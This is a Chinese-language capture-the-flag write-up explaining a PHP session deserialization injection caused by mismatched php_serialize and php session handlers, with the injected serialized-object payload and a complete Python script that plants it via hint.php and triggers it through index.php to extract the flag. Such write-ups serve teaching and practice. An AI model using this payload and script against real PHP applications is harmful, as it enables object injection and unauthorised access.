返回
3
0

wp

余林阳想要成为大手子,2026-04-14 20:56

这是一个典型的 Session 处理器不一致 导致的反序列化注入:

hint.php 使用 php_serialize 方式写 session。

index.php 默认使用 php 方式读 session。

两种格式不同,导致同一个 session 文件被错读。

php_serialize:把整个 $_SESSION 当普通 PHP 变量序列化,格式类似:

a:1:{s:1:"a";s:41:"|O:4:"Flag":2:{...}";}

php(默认):按 key|serialized_value 的分隔协议解析,遇到 | 会把它当键值分隔符。

$_GET['a'] 传:

|O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}

php_serialize 写入阶段时,这只是普通字符串。

但在 php 读取阶段,解析器会把 | 后面当成一个序列化值,从而把 Flag 对象反序列化出来。

反序列化后触发 Flag::__wakeup(),执行了输出flag。

这道题的知识点很简单,但在实际操作时,直接操作很容易出问题。

因为先是高亮显示源码,然后再启用session,直接操作会导致实际注入触发时,两个网页或者当个网页的session没有变化,从没没有触发反序列化,得到flag。


Plaintext
#!/usr/bin/env python3 import random import re import string import sys from urllib.parse import urljoin import requests def build_sid(prefix="ctf"): chars = string.ascii_lowercase + string.digits return prefix + "".join(random.choice(chars) for _ in range(16)) def normalize_base(base): if not base.startswith("http://") and not base.startswith("https://"): base = "http://" + base return base.rstrip("/") + "/" def extract_flag(text): patterns = [ r"Geesec\{[^\r\n<]{1,200}\}", r"flag\{[^\r\n<]{1,200}\}", r"ctf\{[^\r\n<]{1,200}\}", r"[A-Za-z0-9_\-]*\{[0-9a-fA-F\-]{16,}\}", ] for p in patterns: m = re.search(p, text, flags=re.I) if m: return m.group(0) return None def main(): base = ( sys.argv[1] if len(sys.argv) > 1 else "http://80-f09dbe82-da40-4ad5-bc59-923978604ab2.challenge.ctfplus.cn" #url更改点 ) base = normalize_base(base) injection_path = "hint.php" trigger_path = "index.php" payload = '|O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}' sid = build_sid() injection_url = urljoin(base, injection_path) trigger_url = urljoin(base, trigger_path) s = requests.Session() s.headers.update( { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", # 关键:即使服务端报 headers already sent,也能固定同一个 session "Cookie": f"PHPSESSID={sid}", } ) print(f"[*] Base URL : {base}") print(f"[*] Injection URL : {injection_url}") print(f"[*] Trigger URL : {trigger_url}") print(f"[*] PHPSESSID : {sid}") try: r1 = s.get(injection_url, params={"a": payload}, timeout=15) print(f"[+] Inject request sent, status={r1.status_code}, len={len(r1.text)}") except Exception as e: print(f"[-] Injection failed: {e}") sys.exit(1) try: r2 = s.get(trigger_url, timeout=15) print(f"[+] Trigger request sent, status={r2.status_code}, len={len(r2.text)}") except Exception as e: print(f"[-] Trigger failed: {e}") sys.exit(1) flag = extract_flag(r2.text) if flag: print(f"[+] FLAG FOUND: {flag}") sys.exit(0) print("[-] Flag not found in response.") print("[i] Debug tail (last 800 chars):") tail = r2.text[-800:] print(tail) sys.exit(2) if __name__ == "__main__": main()
暂无回复。你的想法是什么?